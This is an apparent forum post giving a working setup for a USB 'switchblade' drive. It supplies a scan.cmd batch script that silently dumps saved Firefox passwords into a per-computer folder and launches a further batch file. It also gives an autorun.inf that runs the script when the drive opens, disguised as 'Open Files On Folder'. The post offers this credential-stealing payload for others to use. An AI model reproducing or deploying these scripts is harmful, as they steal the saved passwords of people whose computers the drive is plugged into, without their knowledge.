Yes...I figured out a fully automatic solution.
Step 1:
Open the scan.cmd file in the root of the drive.
Make it say:
@echo off
if not exist switchbladedump%computername% md switchbladedump%computername%
switchbladetoolsfirepassword >switchbladedump%computername%ffx-dump.txt
nircmd.exe execmd CALL switchbladetoolsstart.bat
exit
Then change autorun.inf to:
[autorun]
action=Open Files On Folder
icon=switchbladeiconsdrive.ico
shellexecute=scan.cmd
Seems like NirCmd is causing the problem. After this modification, the Firefox pass dumper will be run from a native windows shell. However this also means that a small black command window will pop up for about a half second. But I figured out my problem, and hopefully others can put this to good use.